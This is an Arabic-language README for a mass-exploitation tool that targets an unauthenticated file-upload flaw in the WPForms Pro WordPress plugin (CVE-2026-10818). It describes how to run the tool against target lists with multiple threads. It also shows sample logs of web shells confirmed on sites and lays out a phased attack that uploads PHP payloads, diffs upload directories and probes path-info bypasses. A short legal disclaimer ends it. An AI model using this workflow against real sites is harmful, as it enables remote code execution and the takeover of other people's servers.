
WPForms Pro <= 1.10.1.1 - كتابة ملفات تعسفية بدون مصادقة عبر ترتيب Init/Finalize للرفع المجزأ
WPForms Pro <= 1.10.1.1 - كتابة ملفات عشوائية دون مصادقة عبر ترتيب Init/Finalize في الرفع المجزأ
استغلال إثبات المفهوم (Proof-of-Concept)
ترتيب Init/Finalize في الرفع المجزأ → كشف مسار قابل للتوقع → تنفيذ أكواد عن بُعد
| الحقل | التفاصيل |
|---|
| CVE ID | CVE-2026-10818 |
| الإضافة المتأثرة | WPForms Pro (WordPress) |
| الإصدارات المتأثرة | جميع الإصدارات حتى 1.10.1.1 وما يشملها |
| النوع | كتابة ملفات عشوائية بدون مصادقة |
| CWE | CWE-434: رفع ملف بلا قيود مع نوع خطير |
| CVSS 3.1 | 8.1 عالية — CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H |
| المصادقة | غير مطلوبة |
إن إضافة WPForms Pro لووردبريس عرضة لثغرة رفع ملفات عشوائية (Arbitrary File Upload) في جميع الإصدارات حتى 1.10.1.1 وما يشملها، وذلك عبر دالة ajax_chunk_upload_finalize. يعود السبب إلى أن التحقق من نوع الملف يحدث بعد أن تكون البيانات الوصفية للأجزاء ومحتويات الملف قد كُتبت بالفعل على القرص، كما أن الملف المُجمَّع لا يتم حذفه عند فشل التحقق. هذا يتيح للمهاجمين غير المصادَق عليهم رفع ملفات قد تكون قابلة للتنفيذ، مما يجعل تنفيذ الأكواد عن بُعد ممكنًا.
wpforms_upload_chunk_init → Metadata created BEFORE extension validation
wpforms_upload_chunk → Chunk bytes written regardless of init result
wpforms_file_chunks_uploaded → File assembled BEFORE type validation
→ File persists on disk even when validation fails
تعتمد سلسلة الاستغلال على خلل ترتيب حرج في دورة حياة الرفع المجزأ:
SHA1(UUID)-0.chunk)wp_ajax_nopriv_*)readme.txt ومصدر HTML لتحديد إصدارات WPForms المعرضة للثغرةwpforms_upload_chunk_init قابل للوصول خارجيًا قبل المتابعةSHA1(UUID)SHA1(client-controlled UUID) لاستنتاج عنوان URL الدقيق للجزء دون تخمين/wpforms/tmp/ قبل وبعد رفع الملفات القابلة للتنفيذ لتحديد الملفات المكتوبة حديثًا<32hex>.<ext>.chunk/x.php, /.php) لتفعيل تنفيذ PHP على امتدادات غير PHPPython >= 3.8
pip install requests urllib3 beautifulsoup4
حزمة
beautifulsoup4اختيارية لكنها موصى بها لاستخراج حقول النماذج بشكل أكثر موثوقية.
python CVE-2026-10818.py
سيُطلب منك ما يلي:
| الموجه | الوصف | الافتراضي |
|---|---|---|
| ملف الأهداف | مسار ملف نصي يحتوي على هدف واحد في كل سطر | list.txt |
| الخيوط (Threads) | عدد العمال المتزامنين (1–20) | 5 |
https://example.com
http://target.org
subdomain.example.net
192.168.1.100
https://example.com/wordpress
عنوان URL واحد في كل سطر. يدعم http:// وhttps:// والنطاقات المجردة وعناوين IP والتثبيتات في الدلائل الفرعية.
┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
┃ ┃
┃ ██▄ ██ ██ ██ ┃
┃ ████ ██ ████ ┃
┃ ██ ██ ██ ██ ┃
┃ ██ ████ ████ ┃
┃ ██ ███ ██ ██ ┃
┃ ┃
┃ Nxploited ━ Khaled Alenazi ━ T.m @Kxploit ┃
┣━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┫
┃ CVE-2026-10818 WPForms Pro ≤ 1.10.1.1 ┃
┃ Chunked Upload → Predictable Path → RCE ┃
┃ Results ━▸ Nx_hit/ ┃
┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛
أثناء الفحص، يمر كل هدف بمراحل موسومة:
02:14:52 ◆ target.com VER WPForms 1.9.3.1 vulnerable
02:14:53 ◆ target.com FORM 1 upload form(s) on /contact
02:14:53 ◆ target.com UPLOAD 6 safe + 5 exec payloads
02:14:55 ◆ target.com FIN poly_png → a8f3...1b22.png URL returned
02:14:57 ◆ target.com DIR listing enabled, 4 file(s) before exec upload
02:14:59 ◐ target.com EXEC shell_php → finalized on disk (hash unknown)
02:15:01 ◆ target.com DIR 1 NEW exec file(s) after upload!
● target.com SHELL dir-new:7c4f...e8a1.php https://target.com/wp-content/uploads/wpforms/tmp/7c4f...e8a1.php
تُحفظ جميع النتائج في Nx_hit/:
| الملف | المحتوى |
|---|---|
Nx_shell.txt | RCE مؤكد — عنوان URL والوسم ومعاينة جسم الاستجابة |
Nx_vuln.txt | كتابة ملفات عشوائية مؤكدة دون التحقق من التنفيذ |
┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
┃ COMPLETE 150 targets processed ┃
┃ ┃
┃ ● 3 shell ◐ 12 vuln ○ 85 skip ✗ 50 miss ┃
┃ ┃
┃ Results ━▸ Nx_hit/ ┃
┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛
| الرمز | المعنى |
|---|---|
● shell | تم تأكيد تنفيذ PHP على الهدف البعيد |
◐ vuln | تمت كتابة الملف على القرص دون تأكيد التنفيذ |
○ skip | الهدف غير قابل للوصول، أو تمت معالجة الثغرة، أو لم يُعثر على نموذج رفع |
✗ miss | فشلت محاولات الرفع |
Target
│
├─ Reachability (HTTPS → HTTP fallback)
├─ WPForms Version Detection
├─ Form Discovery (100+ page paths + sitemap crawl)
├─ AJAX Route Validation
│
├─ Phase 1: Safe Uploads (png/jpg/pdf + finalize → URL)
│ └─ Shell verification on returned URLs
│
├─ Phase 2: Directory Snapshot (BEFORE)
│
├─ Phase 3: Exec Uploads (php/phtml/php5/phar/shtml + finalize)
│ ├─ Leaked filename extraction from response
│ └─ Hash pattern extraction from body + headers
│
├─ Phase 4: Directory Snapshot (AFTER) → Diff → New exec files
│ └─ Shell verification on each new file
│
├─ Phase 5: Hash Leak Verification
│ └─ Build URLs from leaked hashes → Shell check
│
├─ Phase 6: Chunk-Only Uploads (no finalize → predictable SHA1 path)
│ └─ Direct access + PATH_INFO bypass probing
│
└─ Result Classification (shell / vuln / skip / miss)
هذه الأداة مقدَّمة حصريًا لأغراض اختبار الأمان المصرَّح به والبحث التعليمي. استخدمها فقط على الأنظمة التي تملكها أو لديك إذن كتابي صريح لاختبارها.
الوصول غير المصرَّح به إلى أنظمة الحاسوب غير قانوني. لا يتحمّل المؤلف أي مسؤولية عن سوء الاستخدام أو الأضرار أو أي عواقب قانونية ناتجة عن استخدام هذا البرنامج.
باستخدامك لهذه الأداة، فإنك توافق على أنك المسؤول الوحيد عن أفعالك، وأنك ستمتثل لجميع القوانين واللوائح المعمول بها.
بواسطة: Nxploited
Khaled Alenazi
T.m @Kxploit